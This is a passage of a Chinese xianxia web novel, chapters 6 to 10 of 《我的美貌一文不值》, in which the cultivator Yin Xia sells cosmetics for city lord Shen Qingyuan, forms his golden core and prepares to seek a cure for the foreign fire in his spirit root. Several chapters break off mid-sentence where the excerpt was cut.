他举起手中的这只透明方形小罐,先是用银匙挑出一勺。在明亮的水晶灯下,蔻丹膏上流淌着晶莹的粉色珠光,细腻又透明,内部有透明蓝色的晶体闪烁微光。 在场的一些女修已经双手相扣,目光痴迷,面露向往。 吊足大家的胃口后,他才不急不慢地讲解道:“与以往不同之处在于,粉樱果在不同的光线下会变化颜色以保护自己不被采摘,因此做出的蔻丹也有随颜色自然变化的效果,让各位在每时每刻都有不同的换色体 6. 第 6 章 《我的美貌一文不值》全本免费阅读 芙蓉阁的“双百活动”开启之后,一炮而红的,不仅是这次的新品,还有在主持环节中将活动推上高潮的一位神秘又貌美的仙子。 尽管大家不知道她的名姓,但其聊起美妆护肤,口若悬河滔滔不绝,众女修望之惊艳,见之欣喜,都将他看做美妆中的妲己,修仙人生里的知己。从芙蓉阁满载而归的女修们心潮澎湃,短短时间内,就以一人一票的势头将这位仙子投到了近期的仙闻第一的位置,挂在头版巨大的头条上。 这位神秘而貌美的“仙子”算是出名了。 对此,殷夏哭笑不得。 但这位“仙子”自现身后就从未懈怠,每天按时到岗,兢兢业业,勤勤恳恳。 芙蓉阁的营业时间她盛装打扮,周旋于店内光顾的女修中间,一直到店内歇业的最后一刻。 休息时间基本都待在芙蓉阁二楼,先拆下繁复的编发与发钗,然后沐浴一番,换上舒适柔软的常服,在二楼的躺椅上小憩一会。 这段时间内他既不出门逛街,也不寻欢作乐,一直研究至深夜,剩下未售出的存货,他会根据每一件货品的亮点,与妆造之间的关联,分门别类,构想出推荐货品的先后顺序与重点介绍的方向,想到什么就在册子上即时记录下来。 累了就打坐修炼,渴了就饮些茶水,思路受阻的时候就绕着眼前这堆着乱七八糟商品堆出的小山包转圈,身边还跟着一只听从他的指挥跑来跑去,爬上爬下,还一直聒噪个不停的小葵花。 深夜安静,无外人打扰。 这样一过就是一个通宵。 · 大厅寥寥几人,挑完所需物品正在柜台结账。 快到芙蓉阁的打烊时间,不知不觉间,活动已进行到第四天。 茉茉坐在柜台边将每日账目记录在册,手速飞快,算盘被打出了一道道残影。不多久,算盘敲打声渐歇。见她整理完毕,殷夏挥手跟她告别,开始关门锁窗。 茉茉对此已经习以为常,在殷夏开启店内禁制之前便飞快离开了。 打开的禁制在一片幽暗中微微发亮,室内灯火憧憧,他一人独自留在店内清点库存,却觉得这种安静清点的氛围也很不错。清点完毕后,他提笔记下相应的库存数目及内容。 经过这几天的活动,各品类的存货已经在卖出了七七八八。到现在为止每个品类都或多或少地余下了一些库存,虽然看似不多,但能顽固留存到最后一批,也不可小觑。 他低头凝神,细细查看各个包装与膏体颜色,果然发现了不少毛病——有的包装在哄抢中被损毁,有的膏体不知是何原因晕染到边缘之外,有些颜色太过冷僻,连他自己也没什么印象。 每天开店之前,城主都会将第二天所用的裙装挑好送来。由殷夏自行搭配与衣裙相配的妆容,以及接下来需要重点介绍的产品,但展示妆容就一套,被重点推荐的产品位置也因当日妆容而固定。 有些不错的产品并非是因包装或者质量问题,只是因为完全没有曝光的机会,就这么被剩下了。 对他来说,这可能是在芙蓉阁里最后一道,也是最不容易闯过的难关。 · 转眼已经是第五天的晚上。 窗外月光如银,温柔地铺洒在二楼露台之上。白日里层叠拢起的水晶帘已经放下,在晚风中悠悠晃动,轻声作响。 殷夏一身白色衣袍,脑袋上别着一根沾了墨的秃毛笔,整个人一副不修边幅的随意模样。他端坐在桌前绞尽脑汁写着这五天的个人小结,苦思冥想半天,忽然恍然大悟似的,下笔神速,不多久就写满了几张纸。 落下最后一字后,他终于将手中写满字的册子往桌台上一扔,往椅背上仰去。 思绪也一并悠远蔓延开来,难以集中。 只有处于放松的时刻,才会恍然觉得疲惫层层叠叠如海浪一般涌了上来,他安静地靠在椅背上,渐渐沉入睡梦之中,梦里烈日炎炎,干渴异常。 直至他半夜惊醒,撑手坐起,深呼吸几口后,发觉额前冰凉,伸手一抹额头,全是冷汗。 原来此前的梦并非无缘无故,而是异火作祟的缘故。 他尝试着强行令自己入定,但体内的异火很会审时度势,从来不放过每一个乘虚而入的机会。异火烈烈灼烧带出滚烫的热意,顺着灵气游走于四肢百骸,扰乱思绪,炙烤全身。 之前请医修问诊的时候,灵根中还只见到异火上星星点点的火光,如今内视灵根,那些星点已连成一片焰光,金红的火焰明亮而艳丽,像是枝头开出的烫金花朵。但有多美丽就有多残酷,强势的异火每时每刻都在伺机而动,想要一点点地将木灵根蚕食殆尽。 他的肌肤热度烫得惊人,面色却是惨白一片,细密汗珠渐渐沁上鼻尖,又凝聚成大颗水珠滚落在衣襟。 长长地呼出一口气,知晓自己心绪杂乱,难以摒弃,干脆放弃了入定。 他抬手凝出一捧水流,并缓缓注入桌上的茶壶之中,然后盖上杯盖,十指张开拢上壶身。几息之后,壶中开始泛出细白的热气,不久便有厚重的白色的水雾晃荡蒸腾出来。 殷夏摸出两只小巧精致的竹筒茶杯,又从储物袋的格子中翻出一只布袋,在手中掂量了两下,解开绑紧的布带,取出些自制的灵茶叶片。他于制茶一道颇有兴趣,先前经常走访名山大川,采茶制茶。这袋茶叶便是他亲手采摘最鲜嫩的芽尖,晒干后揉捻制成。 用茶匙取出适量茶叶后,先将以壶中茶水洗过一遍,倒入壶中沸水,又掐指使了个霜系法诀,在竹杯外裹上一圈晶莹的冰霜,方才灼手的热茶变得温度适宜,杯盏中叶片随沸水舒展开来,颜色翠绿,随着水波上下沉浮。 他端起茶杯饮了一口,茶汤碧绿,清香甘甜。 连缓缓飘升的水雾也沾着袅袅香气,四散溢出至满室盈满清幽茶香。 殷夏摩挲着手中的竹杯,望着随水上下浮动的茶叶,目光又移至另一只热气氤氲的杯盏上。之后便走至窗边立着,像是定格一般,任影子随月光偏移了几个方位,仍是一动不动。 今晚的时间,他想匀出来专心等一个人。 但等的人许久未到,他不禁有些犹豫烦闷起来。自言自语道:“小葵花,你说她会不会来?” 呆头呆脑的小葵花噔噔噔跑过来:“刚才没听清,仙子你找我吗?” 殷夏闭眼捏了捏鼻梁:“你听错了,下去吧。” “好的仙子!” · 月圆中天。 忽然耳边传来一声轻笑,并非像寻常女修般脆若银铃,反而低沉悦耳,像是古琴淙淙的优雅琴音。 他猛然转身,窗外一道人影宛如流星璀璨,踏着月色而来,至近处时,她足尖轻点,渐缓身形。 似冬夜初雪一般,无声无息地飘落在露台上。 二人目光在月色中相接。 殷夏由衷地露出一个微笑:“城主亲自光临,有失远迎。” 沈卿缘向前几步。 芙蓉阁的二楼很大,殷夏却没有置办多少物品,看起来空空荡荡。角落里摆了一只孤零零的躺椅,一卷散开的薄被搭在扶手上,躺椅下垫着层软垫,旁边摆了一套桌椅。 桌上是一卷册子,一组茶具,其中一杯茶已经饮完,另一杯茶却冒着丝丝热气,丝毫未被动过。 “好几天没见,却是一直都听到关于你的许多传闻。仙闻的头版挂着《芙蓉阁惊现 7. 第 7 章 《我的美貌一文不值》全本免费阅读 殷夏陷入回忆,思绪转到芙蓉阁“双百活动”开启后的最后一天,也就是第五天。 第四天晚上,他正在芙蓉阁二楼清理积压的库存,这批幸存到第五天的存货有的包装损坏,有的膏体晕染,有的颜色冷僻。 他盯着脚边的大批货品,长长吐出一口气。 库存积压是因为卖得慢,十天半个月才卖出一盒,不造成库存积压才是白日见鬼。 而城主给他的任务,简单来说就是要求短平快,最好效果立竿见影,因此所有以周期来算的所有拉长线布局在他这里统统没有任何用得上的地方。 只能另辟蹊径,出奇制胜。 他轻飘飘地招手:“小葵花过来。” 傀儡小葵花咯噔咯噔跑来:“仙子请吩咐~” 他点点头,然后双指并拢,积蓄灵力后瞬间爆发。庞大的灵力流带起狂风大作,所有瓶罐连同包装纸一齐卷入空中,在灵压之下被震的粉碎。纸片纷纷扬扬地从空中落下,像是下了一场鹅毛大雪。 卷入空中的瓶瓶罐罐被风卷入搅碎外层包装,又轻轻地落在柔软的纸屑中,完好无损。 殷夏抬了抬下巴,吩咐小葵花道:“把这些碎纸都运走,然后打扫干净屋子。” “好的仙子~”小葵花蹦蹦跳跳去拿扫帚,卖力干活。 在小葵花打扫的间隙,他还在斟酌着各种未定方案。 只是单纯包装损坏的话,程度最轻;比较麻烦的是晕染的膏体,将晕染部分剔除剩余可正常使用;冷僻颜色尝试和一些匹配的热销颜色一起出售不知道会不会受到欢迎。 最终在店内展台上出现的,是全新幻彩色系与自然原真两大色系,有口脂、粉饼、眼影、遮瑕等等产品分类,按照四宫格、九宫格和十六宫格三种规格对外售卖,殷夏预先固定了宫格中排列组合的颜色,实用和美观并存。品类繁多,色系多彩,应有尽有,令人目不暇接。 另外还在柜台上准备了漂亮的包装纸,选购并付完灵石的客人们可享受免费的包装服务。 殷夏最后自我总结道:“新瓶装旧酒,取巧而已。” 沈卿缘幻化出一只透明盒子悬于掌心之上,正是殷夏此前设计的十六宫格那款。宫格数量越多,颜色就越丰富全面,性价比也越高。 她打开盒子,又咔哒一声关上,如此来回几次,饶有兴趣:“这就是你方才所说的新品吧。” “对,这是自然原真十六宫格,目前店内在售的最全色系。” 殷夏:“先前新品反响特别好,也拉动了库存的销售。目前芙蓉阁研发的新品还有还有两款尚未面世,是预备下一周期中推出的,其实我可以申请一款临时救急。但在准备最后一天货品的时候,我忽然不知道这样推出是否是对的,心里总觉得缺了些什么。” 沈卿缘点头,追求极致的美丽,往往体现在永不停歇地追逐新品上。因此芙蓉阁内最好推荐的当然是新品,往展柜上立个醒目牌子,无需推广介绍,就有大批顾客蜂拥而上。 她反问道:“你觉得缺的是什么?” 殷夏:“我想的跟你一样,新品推出太容易了,但第一天已经推出了两款,不能毫无节制。另外,新品和库存积压的货品的数量相差悬殊,即使我将芙蓉阁尚未面世的那一款新品申请出来,也不一定拉的动所有剩余的滞销货品。” 沈卿缘赞同:“如果真是这样,顾客的新鲜感会下降很多,也会影响销售额。” “对,所以我赌了一把。还是得从滞销货品本身着手。” 此次他冒险尝试推出所谓的“新品”,不过是打着新品的旗号,吸引各方关注。实际上并非芙蓉阁研制出的最新品类。 但是最终效果却令人惊喜,不但免了定制包装的繁琐工序,减少了膏体晕染的意外损失,还兼顾曝光了一些颜色冷僻却质量上佳的库存商品。 他拿出熬了大半夜才画完的各个宫格的草稿初稿,示意沈卿缘过目:“颜色搭配也太难了,我调整了很久,最后还是喊来了茉茉,让她给我提了点参考意见。” 沈卿缘挑眉,一副看戏的表情:“哦?她看过之后怎么说的?” 殷夏回想起茉茉当时的表情,艰难描述道:“她看到了宫格的设计,一开始面带微笑,好像想开口夸我,直到她看到了颜色搭配的图示,也不笑了,冷着脸劈头盖脸把我骂了一顿。不过最后还是没有丢下我,跟我一起忙到开店之前。” 他有些垂头丧气:“是我惹她生气了,但让我配色就是在强人所难啊。” 沈卿缘忍俊不禁。 之后像是想起什么似的,长长地叹了口气,好似有些失落:“可惜,我也想要一只芙蓉花盒子呢,那种方形盒子正好适合摆我做的各种首饰。” 殷夏垂眸轻声道:“双百活动结束得早,准备的那批芙蓉花木盒早已在活动中赠完了。” 沈卿缘有些遗憾:“没事,是我来的不够巧……” 话音未落,眼前忽然递来一只古色古香的木盒。 她惊讶地抬头想要看他,却又不由得被眼前的芙蓉花木盒所吸引——其上所刻的芙蓉花线条流畅而生动,在莹莹灯火下尽态极妍,舒展花瓣的姿态仿佛凝滞在这永恒的瞬间。 殷夏长睫漆黑,很好地掩饰了眼中的情绪:“当时茉茉悄悄跟我要了一只,说要装她费尽心思争取到的新品福利。我想着城主也是女修,可能也会喜欢,所以备了一份。” 其实沈卿缘见过店内作为赠品的芙蓉花木盒,盒子尺寸略小,看上去颇为精致,内部刷了一层清漆,明显适合自由摆放盛放胭脂水粉的那些矮胖的瓶瓶罐罐。 但眼前递来的盒子看起来却大了不少,像是定制的款式。盒身应该是又被重刻和细细打磨过,每一个棱角都光滑细腻,芙蓉花的刻纹上增添了许多容易被忽视的线条细节。打开时还能闻到清淡悠远的木香,细细看去,盒身内部分了大小合适的隔层,一些可用来摆放耳坠、珠花、璎珞;细长些的格子可专门摆放发簪、步摇等首饰。非常贴心地照顾到了女修常用的各种首饰的摆放需求。 这是一份暗自花了心思的礼物,虽然并不贵重,却体贴入微,思虑周全,也符合她的喜好,就是不知道殷夏这番作为是存了什么样的心思。 一时间,她有些心绪复杂。 沈卿缘天生一张温和典雅的长相,但久居高位,不言不语的时候就显得气势迫人。此时,殷夏就有些被压制到难以喘气的感觉。 殷夏心知她有一双巧手,制得了傀儡也调配得了胭脂水粉,多才多艺,神通广大。也不知道她是否看得上自己送的木盒,更不知道是否过于简陋了些。 他想了想,又将木盒往前递了递:“这盒子并非店内作为赠品的芙蓉花木盒,而是参照芙蓉花的样式重做的一只。” “哦?”她终于拿起那只被举了半天的芙蓉花木盒,放在眼前瞧了瞧。 身上迫人的气势也渐渐散去,又变成平日里随和好说话的样子。 “因感念城主知遇之恩,想临别前略表心意,故自己画了图样制了一只木盒作为,望城主莫要嫌弃。” 沈卿缘从善如流地收起盒子:“既然任务结束了,今晚我前来也是为了兑现当时的承诺。” 这步在他意料之中,殷夏扬了扬眉。 作为一城之主,沈卿缘在夜里专程赶来同他会面,是因为白天得赶着时间回去处理公文和各个店铺的琐碎事务。 而事毕后,他也得日夜兼程赶往秘境,挽救自己深受异火之苦,危在旦夕的木灵根。 果然修仙也不能让人脱离尘俗,只是换了一种更为冒险刺激,与天争命的活法。 沈卿缘取出一只扁扁的方形锦盒:“先前给你的最长期限是一个月,结果被你生生缩短至五天。我给了茉茉双倍奖金和一些她喜欢的新品,听她说,你对我做的储物金镯很感兴趣……” 殷夏将宝盒打开,里面是一只金光熠熠的圆形手镯,除了尺寸稍大,其余的同茉茉手腕上那只很像。 他有些受宠若惊,指了指自己:“可是过了今天,我就不再是芙蓉阁的代掌柜了,这镯子给我,未免有些浪费。” 沈卿缘做了太多乱七八糟又五花八门的小物件,对此并不当一回事。她取出镯子,又伸手托起殷夏的袖口,不由分说地将手镯套进了他手腕。 眼前一截瓷白的手腕上配着金光闪闪的崭新镯子,如她所想一般漂亮。 她称赞道:“你戴着好 8. 第 8 章 《我的美貌一文不值》全本免费阅读 仙市夜市繁华。 此刻两人已御空至高处,下方摇曳不定的辉煌灯火绵延散开,勾勒出仙市版图的独特样貌。 被纤细手臂环之处仿佛在微微发烫,他不自在地侧过了脸,看着下方的宏大盛景愣怔出神。这里,就是她作为仙市之主治理的地方,井井有条又繁荣兴盛,大能有移山填海之力,这何尝不是另一种意义上的移山填海呢。 他不知道的是,只要沈卿缘微微低头,便能看到他通红的脸颊和泛粉的耳垂,和无比憧憬的清澈目光,自然而然便洞悉了他的心境。 交易行并不远,本应转瞬即至。 沈卿缘却忽然悬停,立于空中,她一手环着殷夏,单手结印运转灵气,而后快速念了句晦涩难懂的咒诀。花瓣一般垂落在身侧的裙角与殷夏的长袍缠绕交织,在风中声声作响。 随着咒诀字字落下,掷地有声,云雾缥缈的仙市上空,忽然显现出一座绽放着五彩华光的阁楼。一截白玉长阶从云雾中延伸而出,急转直下。 再往下看,交易行高高矗立在云层之中,与此处的阁楼的分明是一体贯通。 他用余光小心打量周围,以前也经常去交易行以物易物,知晓这并非交易行的大门。两相比较,心知这是一个他从未进入的专门通道,大概类似于交易行的暗门。 沈卿缘展开长袖,足尖点地,淡然自若地顺着玉阶飘然而上。 殷夏骤然落地,先是兀自在原地缓了两秒,而后紧随在沈卿缘的身后。 · 月色清冷,云海苍茫。 两人默默拾阶而上。 走上最后一节白玉阶,沈卿缘转身看向足下的一方天地,殷夏也停住脚步,抬眼望去——月华流转,她白衣胜雪,相貌端丽,宛如神女。 他平添了几分勇气,问道:“平时在仙市之中,城主也是这样御空而行、无所顾忌的吗?” 尽管晚风冰凉,沈卿缘仍能看到他的脸上未曾被吹冷的些许微红。 她弯了弯唇角,脸上笑意弥漫,干脆利落道:“这倒不是,得看我当时心情。” 那今晚就是故意而为。 大乘期的大能手段万千,他无法想象,也不会自行揣度。但今晚的御空之行,明日势必会引起议论纷纷,再登一回仙闻头条。 他不懂沈卿缘这么做的原因何在。 也不是没有往她对自己有想法这个可能性上想过,不过未敢细想,太过荒谬。 大乘期修士的喜好,只需对外透露出些微意思出来,自有无数修士前仆后继。只要沈卿缘肯松口,就会有大把的修士跃跃欲试,哪轮得到大乘期的她对谁上心步步为营。 那些修士即使不敢肖想道侣之位,哪怕能够相伴于高阶修士身侧前后侍奉,也对修行大有裨益,或许就能搏得一份修仙的机缘。 沈卿缘从绣着银丝滚边的长袖中探出两节指尖细细端详。指尖白净无暇,只虚虚悬着,却分明能感受到其中足以掌控一切的力量感。 她轻描淡写地问他:“为何你如此惧怕流言蜚语?哪怕只是空穴来风。” 殷夏低头垂眸,思考了半晌。 他的眼珠剔透,长睫随之微动,美貌无匹,面上表情却冷凝如霜:“身为散修,便会有很多身不由己。” 她却不赞同地摇摇头:“散修与否,说到底是修士自行选择的道。进入宗门的确有诸多好处,但其中盘根错节,复杂琐碎与授业方式并不适合每一名修士。在不适合自己的道上走太久,会把路越走越窄,直至停滞不前,再难寸进。” 殷夏叹气道:“我并非不知,也从未后悔。只是天堑巨大,又辗转逃命,并无太多修炼的时候。筑基时的万千心境难以找回,我一度觉得蚍蜉撼树只是妄想,只想小心谨慎,低调做事。” 修仙界确实以实力为尊。 沈卿缘摸了摸袖口,缓缓道:“虽远如天堑,却并非遥不可及。” 每一个修士都要经历炼气、筑基、金丹、元婴、化神、大乘、渡劫这七个阶段,方可破碎虚空,羽化成仙。这其中虽分速度快慢,却不能强行横跨。 有些修士碌碌一生,也不过止步于筑基;但往越是往后,越是有无限的可能。 她意味深长地看了他一眼。 殷夏垂眸思索。 散修从踏上仙途之始,就没有宗门庇护,只有被人觊觎。 他作为一个标准的散修,孤身一人,加上自己修为低微却容貌卓然,被盯上或者被暗算的情形时常有之。其实他原本对于自己的容貌美丑没有太多的认知,但后来发现,无论男修女修,有太多的人想从他身上占些便宜,有些委婉一些以灵石或者心法利诱,有些则仗着自身修为高强或是家族显赫,直接下手,想将他作为美貌炉鼎强行掳走。 也是从那时开始,他觉得自己的脸一文不值,只会给自己带来不幸。 本以为筑基圆满,终成金丹。 不曾料想结丹之日太过贸然,之后天雷蔽日,异变突显,异火缠身,侵袭灵根。无奈之下,只得前往仙市求医问诊。却不想又遇到垂涎自己美貌的元婴修士,幸亏借助传送符得以顺利逃亡,竟不知传送符哪里有异,将自己传到了城主府。 再到遇见自称为城主的沈卿缘,为修复灵根咬牙接下和修仙毫不相关的任务,直到咬牙缩短时间直至顺利完成。也不知这一路走来到底是福是祸。 身处风浪之中,感受到脚下长阶坚实无比,在狂风之中稳如泰山,岿然不动。他的身影在浓雾一般的云海中若隐若现,仿佛下一秒便会随着弱不经风的玉阶一起沉没。 沈卿缘抬手指了指云海:“你往下看看。” 他依言望去。云海之下,却只能看见冷凝的湿气沾染衣袍缠绕于周身。长阶尽头是一片云雾茫茫,浩大的云海将月亮托举于夜空之上。 只有云雾绕缭的周身凉意,洒在万物的皎洁月光,与横亘万古的寂静无声。再远之处即使穷尽目力也无法看见了。 视线之内,还有站在玉阶的尽头,目光飘渺如烟的沈卿缘:“站的足够高时,就会置身万物之外,所见唯有——我、与道。” 她的嗓音低沉动听,如琴声悠悠,既像是说给殷夏听,又好似自言自语。 殷夏抬头,心境陡然开阔。 磅礴的灵气在经脉中奔腾翻涌,在一遍遍撞击中不停地拓宽着经脉,在体内循环一周后又往复。他盘膝而坐,感受到体内碧绿的灵气,和其上所附的灼灼焰光。它们属性各异,却又融为一体,在体内横冲直撞,无比肆虐地穿过四肢百骸。温和滋润的木属灵气遇上暴烈的异火,二者极速碰撞后又奔腾往复。只见他全身热气蒸腾,面色却惨白如雪,痛至极致也只余闷哼几声。 沈卿缘一眼便知,他这是堪破迷障,快要结丹了。 思及他灵根异状,沈卿缘果断拔下发间的莲纹金钗,往前一抛。声声法诀之中,金钗上的莲纹逐渐分散融化成丝丝缕缕的金线,又重组成闪耀着五色华彩的金色莲瓣,在半空起伏不定。 她飞快地掐了个繁复的手印,一道咒诀从手中飞出打入金色莲花之中,霎时光彩更盛,莲香氤氲,由上而下将殷夏护于其中,罩得严严实实。 殷夏此时正处于一种玄而又玄的状态里,浑身上下只觉一半如坠冰窖,一半又炽热如火焰炙烤。灵气在丹田中汇聚成灵雨,循环往复,最终显出一个金色圆球虚影。 如今正是要紧关头。 皎洁的月亮已被层层隔于劫云之外,雷声轰隆之中,金色闪电在盘旋的漆黑劫云内上下翻涌,仿佛下一刻就要脱离桎梏劈开天幕。 他的眼中闪过一道碧色青芒,下一刻,身体表面竟燃起了熊熊火焰。寄身在灵根上异火仿佛突然克服了对金盏莲的天生恐惧,悍不畏死地破体而出,将金盏莲的护身光盾凿开了一道裂缝。 木灵根中的碧色灵气自灵根处外放而出,仿佛清晨露水,凝于烧至通红的异火之上,与金盏莲两相配合之下,短暂地止住了异火的自燃。 这场结丹持续了三天三夜。 劫云久聚不散,天雷挟着浩大广博的法则之力,于震耳欲聋的巨响中炸出漫天雷光。 丹田中的虚影逐渐凝聚成形,但这只是个开始,殷夏默念凝神静气的口诀,恪守心神,全力运转体内木属灵气与异火对抗。除去进阶,灵根能不能保下也在此一役。他不敢大意。 金盏莲的草木清灵之意能克制部分异火。等到殷夏重新将异火封入灵根之中的时候,却见眼前金盏莲的被火焰燎过,一片花瓣熏得泛黑,瞬间无比柔脆水分尽失,转眼已凋落成灰。 此刻殷夏也已经处 9. 第 9 章 《我的美貌一文不值》全本免费阅读 沈卿缘似笑非笑地瞧了他一眼:“你原先穿的那件衣服被我震碎了,这套算我赔给你的,没记在账上。” 殷夏尚在思绪混乱之中,又见眼前又推来一只玉盒:“银盘草与银蝶粉我已取来,此盒可将它们长久保存。如此,你我之间的先前的账目一笔勾销。只是……” 殷夏识趣地苦笑道:“只是我又欠了城主一大笔债。” 沈卿缘微微点头,扬眉一笑:“你先前所要的金盏莲、银盘草与银蝶粉,只剩下金盏莲未寻得。医师有说过这三味药材在入药之后效果如何吗?” 殷夏沉吟片刻道:“当时医修只跟我说,集齐三味药材后炼成丹药,可暂缓侵蚀灵根的速度。目前木灵根已烧毁过半,时间急迫,我也该尽快动身前往秘境了。” “之前我喊来乔睿帮忙遮掩你渡劫天象,那时你渡劫时的异火情形被他窥见一二。他精通医理,你渡劫中显现的异火他颇有兴趣,便研究了一番。” 殷夏专注地听着她娓娓道来,漂亮如蝶翼一样的眼睫时不时颤动两下。 沈卿缘忍不住多看了他两眼,才继续道:“与异火有关的只有两个字最为关键——拔除。” 殷夏回想了片刻,当时在医馆问诊中,圆脸医修却从未提及拔除之事。 沈卿缘语气轻松,调侃道:“我的好友乔睿,是化神期巅峰的医修。这人虽然滑不溜手,成日里又总是懒懒散散不太靠谱的样子。但我们交友多年,我相信他的判断,基本是不会出错的。” 沈卿缘有一位化神期巅峰烧灵石不眨眼的医修朋友,其实不足为奇。 但仙闻小报上任何有关沈卿缘身边的可疑人物关系,都早已被八卦版块来回拼凑梳理了千百回,还附上诸多复杂图以供参考,却也没有把乔睿这个人翻出来。 殷夏生平第一次觉得,自己好像知道太多了,但城主好友乔睿的出现,又仿佛一场及时雨,给了他一点问诊的方向。 为了维持仙市及灵气平衡,当时沈卿缘完全可以打断他的渡劫,然后把他扔出仙市。这样来保全仙市的秩序可确认万无一失。 可她没有。 也许是因为关照,亦或是恻隐还是别的什么。 自己还有什么值得城主利用的地方吗? 他再三思索,想起了什么。 哦对了,还有利息。殷夏挥散脑中混乱的思绪,走到桌边,寻到了一份空白纸张,思虑再三后,低头挥毫运笔。 沈卿缘好奇凑近一看,白纸上赫然写了两个大字“契书”。 他下笔流畅,字体清隽,笔墨流转间,已写明所欠灵石、所毁灵植以及她方才玩笑提及到的一坛好酒的人情。并承诺了利息。 最后署名,抽出一缕神念封存其中,契书双手奉上。 沈卿缘定定地看了他片刻,并未接过契书。半晌之后却轻声一笑,双眼微微眯起。她伸手接过了契书,也处牵引出一条神念打入纸上,一并封于契书之中,卷起收好。 她语气淡淡:“好了。总是谢我多没意思,有这张契书就够了,还债之时的利息我会按照常规情况另算。” 殷夏放心下来,城主已慷慨借出这么多灵石,除却本金,还些利息他心甘情愿。 另外,他暗暗点头,城主果然是因为自己够穷,却有着还清欠款的毅力,是个放贷的绝佳人选,才多护持了一番自己。 她还是先前那个锱铢必较的城主。 于是继续打起精神提起先前未完的话题:“关于乔睿前辈所说拔除之法,可否详细说说?” 沈卿缘揉着额头:“叫什么前辈不前辈,他也没多大,喊乔睿就行。” 接着她熟稔地吐槽起来:“你看,就算他是个化神期巅峰的医修,也免不了好奇心旺盛的毛病。在我这推演了半天罗列了各种治疗方式与效果。结果最后说,就目前情况,固本培元指法仅能延缓并不能根除你灵根上的异火。还是要结合那团异火何处而来,何种性质,才能对症下药。” 殷夏有些心虚,他当时在医馆问诊的时候还特地向圆脸医修隐瞒了异火之事,可能因为这个原因,圆脸医修只给他开了张固本培元的药方。 他有些担心:“那么金盏莲对异火有效吗?” 根据之前异火一遇到金盏莲就变得畏畏缩缩,蛰伏在灵根上的状况来看,应该是有效的吧。 “乔睿说过,你那张药方有点用,不过治标不治本而已。” 她说完后,在批完的公文里翻了翻,抽出其中一本:“为了研发各种新品,仙市有几条固定的探险队伍,经常外出到各种秘境中寻找产品研发所需的各种原材料。你看我手中的这本公文,刚好是一支即将启程探寻秘境的元婴队伍。” 沈卿缘看着他的目光渐渐坚定明亮,心知秘境他是非去不可了。 殷夏拿起这本公文,瞧了眼里面的内容,疑惑道:“这是……探险小队向城主府提交的拨款申请?” 沈卿缘:“对,他们是仙市所供养的客卿,前往的均是低于或与自身修为持平的秘境,可以最大程度上降低获取原材料的难度,提高收集效率。由于在秘境中获得的一切均需如数上交,所以城主府会预先给他们全额拨款。” 殷夏点点头,心下了然。 这些客卿相当于城主所雇专门用于开发秘境特有原料的专用队伍。越是高级的材料,获取的难度越大。沈卿缘豢养这样一批客卿的支出肯定也是一笔大数目。 他试探地问了一句。“那么我有机会加入探险队伍吗?” 沈卿缘欣然道:“可以啊。金丹期以上均可申请加入,不过即使你递交申请,目前也只能加入金丹期修士的队伍,主要探寻金丹期及以下的秘境。” 殷夏微微皱眉:“可是我听说的是,金盏莲只存在于元婴及以上的秘境。” “没错,不过你的修为低于秘境的最低限制,不建议贸然前往,否则极易折损其中。” 沈卿缘拧眉沉思,缓缓道:“金盏莲我曾采过一朵……这种花朵非常奇特,只开一天,开花后立即凋零。更离奇的是,其上清气易散,散开则化为飞灰,不复功效。在秘境中,即使有元婴级别的修士正巧遇上金盏莲开花,并成功引开或杀死伴生妖兽其摘下,也无法保持其清气不往外逸散。” 她停顿了片刻,瞥了殷夏一眼:“元婴修士本就不多,金盏莲的采摘与保存又费时费力不如其他灵草妖兽,所以异常稀有。” 殷夏知道虽然此花难以采摘,更难以保存。 但并非无人做到。眼前的沈卿缘就有将其化为莲纹金簪的特殊方法,但她已修行至大乘期。 整个修仙界也出不了几个大乘。大乘之后便是渡劫,到时破碎虚空羽化登仙不过一念之间。 换成他,只能采取最笨的方法。 · 殷夏长叹一声:“即使如此,我也得去一趟。万一能侥幸寻得一株,就立即服下,也顾不上损失的那部分药效了。” 沈卿缘表示了解,最后跟他确认了一遍:“那你是想加入金丹期的探险小队,还是加入元婴期的。” “就加入金丹期的队伍吧。” 他露出一个有些俏皮的笑,莫名有些可爱:“毕竟我先前筑基圆满,才刚到金丹期啊。” 沈卿缘奇道:“那么,存在金盏莲 10. 第 10 章 《我的美貌一文不值》全本免费阅读 殷夏伸出双手,小心翼翼地在脸上摩挲这是一张平淡无奇的脸,不高的鼻子,短短的睫毛。 手中的触感明明白白地告诉他,如今这张脸轮廓与五官排布与先前完全不一样。 沈卿缘仰头看着他,有些遗憾地叹了口气,向他伸来一只手。 白皙中泛着粉色的指尖自他的鼻尖描摹至嘴唇,沈卿缘语气中隐约有着淡淡的怀念。 她说:“你如此抗拒自己外貌,甚至不惜毁掉。毁掉了难道就能获得一个平静安宁的修仙生活吗?” 殷夏闻言愣住。 沈卿缘直言:“但你可能不知道,那张脸如此美好,我第一次见到就很喜欢。” 第一次见到殷夏的时候,他脸上抹了一手的黑灰,触发传送符一路逃命,灰头土脸,无头苍蝇一样。 遇到了她,却把她误以为是一个全身洋溢着草木清灵之气的年轻精灵。她随意搭话,他也并不设防。 听说她是仙市之主之时,脸上表情分外精彩,她心生欢喜。 而现在,沈卿缘凝视着他。虽然他脸上已施加了幻形咒,但她作为施咒者,并不会被亲手设下的幻术所影响。可她的目光悠远,并未看他,反而像是透过他看到了另外一张面容。 她慢慢道:“长得好看对你而言是负担吗?” 殷夏毫不迟疑地点头。 “赏心悦目的人或事物,都容易受人追捧。高阶修士中也不乏外貌出众之人,却仍能随心所欲,接受甚至大方地展示自己的容貌。你觉得是负担,承受不了它,可有想过原因所在?”她的嗓音低沉悦耳,措辞谨慎,仿佛真的只在简单发问。 殷夏抿唇:“灵石法宝灵药之类都是在修仙界的硬通货。可相貌并不是这样。” 沈卿缘摇摇头道:“美貌和灵石、法宝等等一样,既然人人都能看到它的好,那么就会被人惦记上心。修仙界杀人夺宝都是常事,若将容貌比作宝物,那一切便能迎刃而解。” 相貌当然有用。如果初见之时殷夏只是一个各方面都普普通通的筑基修士,沈卿缘不会对他感兴趣。那笔曾经被讨价还价后不再追究的一百灵石罚款会照罚不误,罚完后再把他丢出城主府。 若是如此,短短一个月内,他根本无法集齐三味固本培元的药材,再往后,木灵根被异火吞噬,自身无法运转灵气,此生止步于筑基巅峰。 沈卿缘将这些想法说与他听:“换一副容貌,可能是这样的一个走向与结局。若这样的话,你会不会觉得,拥有美貌其实是一件不错的事情?” 殷夏仰头看着上方墙壁,有些恍然,却终于明白。 原来城主确实看上了自己这张脸。 